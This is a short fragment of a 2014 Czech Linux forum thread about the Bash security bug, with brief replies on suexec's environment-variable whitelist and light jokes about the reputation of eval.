Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
No jo, máš pravdu, nepředává se to.
27.9.2014 13:01 trekker.dk | skóre: 72
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Jestli používáš suexec, tak ten má IIRC whitelist proměnných prostředí a všechny ostatní smaže.
Quando omni flunkus moritati
26.9.2014 20:57 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Kruci, teďka budou všichni neprávem zaujatí vůči eval :-(. Aspoň podle zpráv z bulvárů.
Intel meltdown a = arr[x[0]&1]; karma | 帮帮我,我被锁在中国房
26.9.2014 22:44 Michal Kubeček | skóre: 72 | Luštěnice
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Klid, já jsem proti eval zaujatý už dávno. :-)
27.9.2014 19:03 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
pavlix avatar 27.9.2014 20:00 pavlix | skóre: 54 | blog: pavlix
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
+1
Já už tu vlastně ani nejsem. Abclinuxu umřelo.

Založit nové vláknoNahoru


ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.